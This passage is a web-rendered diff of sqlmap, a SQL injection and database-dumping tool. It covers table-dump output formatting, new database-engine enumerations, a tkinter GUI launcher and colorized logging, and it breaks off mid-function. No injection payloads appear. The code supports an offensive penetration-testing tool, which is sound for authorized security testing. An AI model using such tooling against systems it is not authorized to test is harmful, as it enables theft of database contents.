if elements:
|
||||||
self._write("%s [%d]:" % (header, len(elements)))
|
self._write("%s [%d]:" % (header, len(elements)))
|
||||||
@@ -171,10 +164,10 @@ class Dump(object):
|
|||||||
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
|
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
|
||||||
|
|
||||||
def currentDb(self, data):
|
def currentDb(self, data):
|
||||||
if Backend.isDbms(DBMS.MAXDB):
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
|
||||||
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
|
||||||
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
else:
|
else:
|
||||||
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
|
|
||||||
@@ -197,12 +190,11 @@ class Dump(object):
|
|||||||
self._areAdmins = userSettings[1]
|
self._areAdmins = userSettings[1]
|
||||||
userSettings = userSettings[0]
|
userSettings = userSettings[0]
|
||||||
|
|
||||||
users = list(userSettings.keys())
|
users = [_ for _ in userSettings.keys() if _ is not None]
|
||||||
users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
||||||
|
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(userSettings, content_type=content_type)
|
self._write(userSettings, content_type=content_type)
|
||||||
return
|
|
||||||
|
|
||||||
if userSettings:
|
if userSettings:
|
||||||
self._write("%s:" % header)
|
self._write("%s:" % header)
|
||||||
@@ -236,7 +228,6 @@ class Dump(object):
|
|||||||
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
|
self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
|
||||||
return
|
|
||||||
|
|
||||||
maxlength = 0
|
maxlength = 0
|
||||||
|
|
||||||
@@ -245,7 +236,7 @@ class Dump(object):
|
|||||||
if table and isListLike(table):
|
if table and isListLike(table):
|
||||||
table = table[0]
|
table = table[0]
|
||||||
|
|
||||||
maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table))))
|
maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table))))
|
||||||
|
|
||||||
lines = "-" * (int(maxlength) + 2)
|
lines = "-" * (int(maxlength) + 2)
|
||||||
|
|
||||||
@@ -266,7 +257,7 @@ class Dump(object):
|
|||||||
table = table[0]
|
table = table[0]
|
||||||
|
|
||||||
table = unsafeSQLIdentificatorNaming(table)
|
table = unsafeSQLIdentificatorNaming(table)
|
||||||
blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table)))
|
blank = " " * (maxlength - getConsoleLength(getUnicode(table)))
|
||||||
self._write("| %s%s |" % (table, blank))
|
self._write("| %s%s |" % (table, blank))
|
||||||
|
|
||||||
self._write("+%s+\n" % lines)
|
self._write("+%s+\n" % lines)
|
||||||
@@ -279,7 +270,6 @@ class Dump(object):
|
|||||||
if isinstance(tableColumns, dict) and len(tableColumns) > 0:
|
if isinstance(tableColumns, dict) and len(tableColumns) > 0:
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(tableColumns, content_type=content_type)
|
self._write(tableColumns, content_type=content_type)
|
||||||
return
|
|
||||||
|
|
||||||
for db, tables in tableColumns.items():
|
for db, tables in tableColumns.items():
|
||||||
if not db:
|
if not db:
|
||||||
@@ -353,7 +343,6 @@ class Dump(object):
|
|||||||
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
|
self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
|
||||||
return
|
|
||||||
|
|
||||||
maxlength1 = len("Table")
|
maxlength1 = len("Table")
|
||||||
maxlength2 = len("Entries")
|
maxlength2 = len("Entries")
|
||||||
@@ -361,7 +350,7 @@ class Dump(object):
|
|||||||
for ctables in dbTables.values():
|
for ctables in dbTables.values():
|
||||||
for tables in ctables.values():
|
for tables in ctables.values():
|
||||||
for table in tables:
|
for table in tables:
|
||||||
maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table)))
|
maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table)))
|
||||||
|
|
||||||
for db, counts in dbTables.items():
|
for db, counts in dbTables.items():
|
||||||
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
||||||
@@ -387,7 +376,7 @@ class Dump(object):
|
|||||||
tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
||||||
|
|
||||||
for table in tables:
|
for table in tables:
|
||||||
blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table)))
|
blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table)))
|
||||||
blank2 = " " * (maxlength2 - len(str(count)))
|
blank2 = " " * (maxlength2 - len(str(count)))
|
||||||
self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
|
self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
|
||||||
|
|
||||||
@@ -412,7 +401,6 @@ class Dump(object):
|
|||||||
|
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
|
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
|
||||||
return
|
|
||||||
|
|
||||||
dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
|
dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
|
||||||
|
|
||||||
@@ -547,7 +535,7 @@ class Dump(object):
|
|||||||
|
|
||||||
column = unsafeSQLIdentificatorNaming(column)
|
column = unsafeSQLIdentificatorNaming(column)
|
||||||
maxlength = int(info["length"])
|
maxlength = int(info["length"])
|
||||||
blank = " " * (maxlength - len(column))
|
blank = " " * (maxlength - getConsoleLength(column))
|
||||||
|
|
||||||
self._write("| %s%s" % (column, blank), newline=False)
|
self._write("| %s%s" % (column, blank), newline=False)
|
||||||
|
|
||||||
@@ -558,7 +546,7 @@ class Dump(object):
|
|||||||
else:
|
else:
|
||||||
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
|
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
|
||||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||||
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace")))
|
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
|
||||||
|
|
||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
@@ -602,7 +590,7 @@ class Dump(object):
|
|||||||
|
|
||||||
values.append(value)
|
values.append(value)
|
||||||
maxlength = int(info["length"])
|
maxlength = int(info["length"])
|
||||||
blank = " " * (maxlength - len(value))
|
blank = " " * (maxlength - getConsoleLength(value))
|
||||||
self._write("| %s%s" % (value, blank), newline=False, console=console)
|
self._write("| %s%s" % (value, blank), newline=False, console=console)
|
||||||
|
|
||||||
if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
|
if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
|
||||||
@@ -630,7 +618,7 @@ class Dump(object):
|
|||||||
else:
|
else:
|
||||||
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
|
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
|
||||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||||
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace")))
|
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
|
||||||
|
|
||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
@@ -650,7 +638,7 @@ class Dump(object):
|
|||||||
|
|
||||||
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||||
rtable.endTransaction()
|
rtable.endTransaction()
|
||||||
logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))
|
logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
|
||||||
|
|
||||||
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
||||||
if conf.dumpFormat == DUMP_FORMAT.HTML:
|
if conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||||
@@ -668,7 +656,6 @@ class Dump(object):
|
|||||||
def dbColumns(self, dbColumnsDict, colConsider, dbs):
|
def dbColumns(self, dbColumnsDict, colConsider, dbs):
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
|
self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
|
||||||
return
|
|
||||||
|
|
||||||
for column in dbColumnsDict.keys():
|
for column in dbColumnsDict.keys():
|
||||||
if colConsider == "1":
|
if colConsider == "1":
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -42,9 +42,21 @@ class DBMS(object):
|
|||||||
PGSQL = "PostgreSQL"
|
PGSQL = "PostgreSQL"
|
||||||
SQLITE = "SQLite"
|
SQLITE = "SQLite"
|
||||||
SYBASE = "Sybase"
|
SYBASE = "Sybase"
|
||||||
|
INFORMIX = "Informix"
|
||||||
HSQLDB = "HSQLDB"
|
HSQLDB = "HSQLDB"
|
||||||
H2 = "H2"
|
H2 = "H2"
|
||||||
INFORMIX = "Informix"
|
MONETDB = "MonetDB"
|
||||||
|
DERBY = "Apache Derby"
|
||||||
|
VERTICA = "Vertica"
|
||||||
|
MCKOI = "Mckoi"
|
||||||
|
PRESTO = "Presto"
|
||||||
|
ALTIBASE = "Altibase"
|
||||||
|
MIMERSQL = "MimerSQL"
|
||||||
|
CRATEDB = "CrateDB"
|
||||||
|
CUBRID = "Cubrid"
|
||||||
|
CACHE = "InterSystems Cache"
|
||||||
|
EXTREMEDB = "eXtremeDB"
|
||||||
|
FRONTBASE = "FrontBase"
|
||||||
|
|
||||||
class DBMS_DIRECTORY_NAME(object):
|
class DBMS_DIRECTORY_NAME(object):
|
||||||
ACCESS = "access"
|
ACCESS = "access"
|
||||||
@@ -60,6 +72,33 @@ class DBMS_DIRECTORY_NAME(object):
|
|||||||
HSQLDB = "hsqldb"
|
HSQLDB = "hsqldb"
|
||||||
H2 = "h2"
|
H2 = "h2"
|
||||||
INFORMIX = "informix"
|
INFORMIX = "informix"
|
||||||
|
MONETDB = "monetdb"
|
||||||
|
DERBY = "derby"
|
||||||
|
VERTICA = "vertica"
|
||||||
|
MCKOI = "mckoi"
|
||||||
|
PRESTO = "presto"
|
||||||
|
ALTIBASE = "altibase"
|
||||||
|
MIMERSQL = "mimersql"
|
||||||
|
CRATEDB = "cratedb"
|
||||||
|
CUBRID = "cubrid"
|
||||||
|
CACHE = "cache"
|
||||||
|
EXTREMEDB = "extremedb"
|
||||||
|
FRONTBASE = "frontbase"
|
||||||
|
|
||||||
|
class FORK(object):
|
||||||
|
MARIADB = "MariaDB"
|
||||||
|
MEMSQL = "MemSQL"
|
||||||
|
PERCONA = "Percona"
|
||||||
|
COCKROACHDB = "CockroachDB"
|
||||||
|
TIDB = "TiDB"
|
||||||
|
REDSHIFT = "Amazon Redshift"
|
||||||
|
GREENPLUM = "Greenplum"
|
||||||
|
DRIZZLE = "Drizzle"
|
||||||
|
IGNITE = "Apache Ignite"
|
||||||
|
AURORA = "Aurora"
|
||||||
|
ENTERPRISEDB = "EnterpriseDB"
|
||||||
|
YELLOWBRICK = "Yellowbrick"
|
||||||
|
IRIS = "Iris"
|
||||||
|
|
||||||
class CUSTOM_LOGGING(object):
|
class CUSTOM_LOGGING(object):
|
||||||
PAYLOAD = 9
|
PAYLOAD = 9
|
||||||
@@ -389,3 +428,8 @@ class TIMEOUT_STATE(object):
|
|||||||
class HINT(object):
|
class HINT(object):
|
||||||
PREPEND = 0
|
PREPEND = 0
|
||||||
APPEND = 1
|
APPEND = 1
|
||||||
|
|
||||||
|
class FUZZ_UNION_COLUMN:
|
||||||
|
STRING = "<string>"
|
||||||
|
INTEGER = "<integer>"
|
||||||
|
NULL = "NULL"
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
278
lib/core/gui.py
Normal file
278
lib/core/gui.py
Normal file
@@ -0,0 +1,278 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
import threading
|
||||||
|
import webbrowser
|
||||||
|
|
||||||
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.common import saveConfig
|
||||||
|
from lib.core.data import paths
|
||||||
|
from lib.core.defaults import defaults
|
||||||
|
from lib.core.enums import MKSTEMP_PREFIX
|
||||||
|
from lib.core.exception import SqlmapMissingDependence
|
||||||
|
from lib.core.settings import DEV_EMAIL_ADDRESS
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
|
from lib.core.settings import ISSUES_PAGE
|
||||||
|
from lib.core.settings import GIT_PAGE
|
||||||
|
from lib.core.settings import SITE
|
||||||
|
from lib.core.settings import VERSION_STRING
|
||||||
|
from lib.core.settings import WIKI_PAGE
|
||||||
|
from thirdparty.six.moves import queue as _queue
|
||||||
|
|
||||||
|
alive = None
|
||||||
|
line = ""
|
||||||
|
process = None
|
||||||
|
queue = None
|
||||||
|
|
||||||
|
def runGui(parser):
|
||||||
|
try:
|
||||||
|
from thirdparty.six.moves import tkinter as _tkinter
|
||||||
|
from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext
|
||||||
|
from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk
|
||||||
|
from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
|
||||||
|
except ImportError as ex:
|
||||||
|
raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex))
|
||||||
|
|
||||||
|
# Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
|
||||||
|
class ConstrainedEntry(_tkinter.Entry):
|
||||||
|
def __init__(self, master=None, **kwargs):
|
||||||
|
self.var = _tkinter.StringVar()
|
||||||
|
self.regex = kwargs["regex"]
|
||||||
|
del kwargs["regex"]
|
||||||
|
_tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
|
||||||
|
self.old_value = ''
|
||||||
|
self.var.trace('w', self.check)
|
||||||
|
self.get, self.set = self.var.get, self.var.set
|
||||||
|
|
||||||
|
def check(self, *args):
|
||||||
|
if re.search(self.regex, self.get()):
|
||||||
|
self.old_value = self.get()
|
||||||
|
else:
|
||||||
|
self.set(self.old_value)
|
||||||
|
|
||||||
|
# Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
|
||||||
|
class AutoresizableNotebook(_tkinter_ttk.Notebook):
|
||||||
|
def __init__(self, master=None, **kw):
|
||||||
|
_tkinter_ttk.Notebook.__init__(self, master, **kw)
|
||||||
|
self.bind("<<NotebookTabChanged>>", self._on_tab_changed)
|
||||||
|
|
||||||
|
def _on_tab_changed(self, event):
|
||||||
|
event.widget.update_idletasks()
|
||||||
|
|
||||||
|
tab = event.widget.nametowidget(event.widget.select())
|
||||||
|
event.widget.configure(height=tab.winfo_reqheight())
|
||||||
|
|
||||||
|
window = _tkinter.Tk()
|
||||||
|
window.title(VERSION_STRING)
|
||||||
|
|
||||||
|
# Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
|
||||||
|
style = _tkinter_ttk.Style()
|
||||||
|
settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
|
||||||
|
style.theme_create("custom", parent="alt", settings=settings)
|
||||||
|
style.theme_use("custom")
|
||||||
|
|
||||||
|
# Reference: https://stackoverflow.com/a/10018670
|
||||||
|
def center(window):
|
||||||
|
window.update_idletasks()
|
||||||
|
width = window.winfo_width()
|
||||||
|
frm_width = window.winfo_rootx() - window.winfo_x()
|
||||||
|
win_width = width + 2 * frm_width
|
||||||
|
height = window.winfo_height()
|
||||||
|
titlebar_height = window.winfo_rooty() - window.winfo_y()
|
||||||
|
win_height = height + titlebar_height + frm_width
|
||||||
|
x = window.winfo_screenwidth() // 2 - win_width // 2
|
||||||
|
y = window.winfo_screenheight() // 2 - win_height // 2
|
||||||
|
window.geometry('{}x{}+{}+{}'.format(width, height, x, y))
|
||||||
|
window.deiconify()
|
||||||
|
|
||||||
|
def onKeyPress(event):
|
||||||
|
global line
|
||||||
|
global queue
|
||||||
|
|
||||||
|
if process:
|
||||||
|
if event.char == '\b':
|
||||||
|
line = line[:-1]
|
||||||
|
else:
|
||||||
|
line += event.char
|
||||||
|
|
||||||
|
def onReturnPress(event):
|
||||||
|
global line
|
||||||
|
global queue
|
||||||
|
|
||||||
|
if process:
|
||||||
|
try:
|
||||||
|
process.stdin.write(("%s\n" % line.strip()).encode())
|
||||||
|
process.stdin.flush()
|
||||||
|
except socket.error:
|
||||||
|
line = ""
|
||||||
|
event.widget.master.master.destroy()
|
||||||
|
return "break"
|
||||||
|
except:
|
||||||
|
return
|
||||||
|
|
||||||
|
event.widget.insert(_tkinter.END, "\n")
|
||||||
|
|
||||||
|
return "break"
|
||||||
|
|
||||||
|
def run():
|
||||||
|
global alive
|
||||||
|
global process
|
||||||
|
global queue
|
||||||
|
|
||||||
|
config = {}
|
||||||
|
|
||||||
|
for key in window._widgets:
|
||||||
|
dest, type = key
|
||||||
|
widget = window._widgets[key]
|
||||||
|
|
||||||
|
if hasattr(widget, "get") and not widget.get():
|
||||||
|
value = None
|
||||||
|
elif type == "string":
|
||||||
|
value = widget.get()
|
||||||
|
elif type == "float":
|
||||||
|
value = float(widget.get())
|
||||||
|
elif type == "int":
|
||||||
|
value = int(widget.get())
|
||||||
|
else:
|
||||||
|
value = bool(widget.var.get())
|
||||||
|
|
||||||
|
config[dest] = value
|
||||||
|
|
||||||
|
for option in parser.option_list:
|
||||||
|
config[option.dest] = defaults.get(option.dest, None)
|
||||||
|
|
||||||
|
handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
saveConfig(config, configFile)
|
||||||
|
|
||||||
|
def enqueue(stream, queue):
|
||||||
|
global alive
|
||||||
|
|
||||||
|
for line in iter(stream.readline, b''):
|
||||||
|
queue.put(line)
|
||||||
|
|
||||||
|
alive = False
|
||||||
|
stream.close()
|
||||||
|
|
||||||
|
alive = True
|
||||||
|
|
||||||
|
process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN)
|
||||||
|
|
||||||
|
# Reference: https://stackoverflow.com/a/4896288
|
||||||
|
queue = _queue.Queue()
|
||||||
|
thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
|
||||||
|
thread.daemon = True
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
top = _tkinter.Toplevel()
|
||||||
|
top.title("Console")
|
||||||
|
|
||||||
|
# Reference: https://stackoverflow.com/a/13833338
|
||||||
|
text = _tkinter_scrolledtext.ScrolledText(top, undo=True)
|
||||||
|
text.bind("<Key>", onKeyPress)
|
||||||
|
text.bind("<Return>", onReturnPress)
|
||||||
|
text.pack()
|
||||||
|
text.focus()
|
||||||
|
|
||||||
|
center(top)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
line = ""
|
||||||
|
try:
|
||||||
|
# line = queue.get_nowait()
|
||||||
|
line = queue.get(timeout=.1)
|
||||||
|
text.insert(_tkinter.END, line)
|
||||||
|
except _queue.Empty:
|
||||||
|
text.see(_tkinter.END)
|
||||||
|
text.update_idletasks()
|
||||||
|
|
||||||
|
if not alive:
|
||||||
|
break
|
||||||
|
|
||||||
|
menubar = _tkinter.Menu(window)
|
||||||
|
|
||||||
|
filemenu = _tkinter.Menu(menubar, tearoff=0)
|
||||||
|
filemenu.add_command(label="Open", state=_tkinter.DISABLED)
|
||||||
|
filemenu.add_command(label="Save", state=_tkinter.DISABLED)
|
||||||
|
filemenu.add_separator()
|
||||||
|
filemenu.add_command(label="Exit", command=window.quit)
|
||||||
|
menubar.add_cascade(label="File", menu=filemenu)
|
||||||
|
|
||||||
|
menubar.add_command(label="Run", command=run)
|
||||||
|
|
||||||
|
helpmenu = _tkinter.Menu(menubar, tearoff=0)
|
||||||
|
helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
|
||||||
|
helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
|
||||||
|
helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
|
||||||
|
helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
|
||||||
|
helpmenu.add_separator()
|
||||||
|
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2020\n\n (%s)" % DEV_EMAIL_ADDRESS))
|
||||||
|
menubar.add_cascade(label="Help", menu=helpmenu)
|
||||||
|
|
||||||
|
window.config(menu=menubar)
|
||||||
|
window._widgets = {}
|
||||||
|
|
||||||
|
notebook = AutoresizableNotebook(window)
|
||||||
|
|
||||||
|
first = None
|
||||||
|
frames = {}
|
||||||
|
|
||||||
|
for group in parser.option_groups:
|
||||||
|
frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200)
|
||||||
|
notebook.add(frames[group.title], text=group.title)
|
||||||
|
|
||||||
|
_tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W)
|
||||||
|
|
||||||
|
row = 1
|
||||||
|
if group.get_description():
|
||||||
|
_tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W)
|
||||||
|
_tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W)
|
||||||
|
row += 2
|
||||||
|
|
||||||
|
for option in group.option_list:
|
||||||
|
_tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W)
|
||||||
|
|
||||||
|
if option.type == "string":
|
||||||
|
widget = _tkinter.Entry(frame)
|
||||||
|
elif option.type == "float":
|
||||||
|
widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
|
||||||
|
elif option.type == "int":
|
||||||
|
widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
|
||||||
|
else:
|
||||||
|
var = _tkinter.IntVar()
|
||||||
|
widget = _tkinter.Checkbutton(frame, variable=var)
|
||||||
|
widget.var = var
|
||||||
|
|
||||||
|
first = first or widget
|
||||||
|
widget.grid(column=1, row=row, sticky=_tkinter.W)
|
||||||
|
|
||||||
|
window._widgets[(option.dest, option.type)] = widget
|
||||||
|
|
||||||
|
default = defaults.get(option.dest)
|
||||||
|
if default:
|
||||||
|
if hasattr(widget, "insert"):
|
||||||
|
widget.insert(0, default)
|
||||||
|
|
||||||
|
_tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W)
|
||||||
|
|
||||||
|
row += 1
|
||||||
|
|
||||||
|
_tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W)
|
||||||
|
|
||||||
|
notebook.pack(expand=1, fill="both")
|
||||||
|
notebook.enable_traversal()
|
||||||
|
|
||||||
|
first.focus()
|
||||||
|
|
||||||
|
window.mainloop()
|
||||||
@@ -1,11 +1,12 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
import re
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from lib.core.enums import CUSTOM_LOGGING
|
from lib.core.enums import CUSTOM_LOGGING
|
||||||
@@ -20,6 +21,77 @@ LOGGER_HANDLER = None
|
|||||||
try:
|
try:
|
||||||
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
|
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
|
||||||
|
|
||||||
|
class _ColorizingStreamHandler(ColorizingStreamHandler):
|
||||||
|
def colorize(self, message, levelno):
|
||||||
|
if levelno in self.level_map and self.is_tty:
|
||||||
|
bg, fg, bold = self.level_map[levelno]
|
||||||
|
params = []
|
||||||
|
|
||||||
|
if bg in self.color_map:
|
||||||
|
params.append(str(self.color_map[bg] + 40))
|
||||||
|
|
||||||
|
if fg in self.color_map:
|
||||||
|
params.append(str(self.color_map[fg] + 30))
|
||||||
|
|
||||||
|
if bold:
|
||||||
|
params.append('1')
|
||||||
|
|
||||||
|
if params and message:
|
||||||
|
match = re.search(r"\A(\s+)", message)
|
||||||
|
prefix = match.group(1) if match else ""
|
||||||
|
message = message[len(prefix):]
|
||||||
|
|
||||||
|
match = re.search(r"\[([A-Z ]+)\]", message) # log level
|
||||||
|
if match:
|
||||||
|
level = match.group(1)
|
||||||
|
if message.startswith(self.bold):
|
||||||
|
message = message.replace(self.bold, "")
|
||||||
|
reset = self.reset + self.bold
|
||||||
|
params.append('1')
|
||||||
|
else:
|
||||||
|
reset = self.reset
|
||||||
|
message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)
|
||||||
|
|
||||||
|
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
|
||||||
|
if match:
|
||||||
|
time = match.group(1)
|
||||||
|
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
|
||||||
|
|
||||||
|
match = re.search(r"\[(#\d+)\]", message) # counter
|
||||||
|
if match:
|
||||||
|
counter = match.group(1)
|
||||||
|
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
|
||||||
|
|
||||||
|
if level != "PAYLOAD":
|
||||||
|
if any(_ in message for _ in ("parsed DBMS error message",)):
|
||||||
|
match = re.search(r": '(.+)'", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
match = re.search(r"\bresumed: '(.+\.\.\.)", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
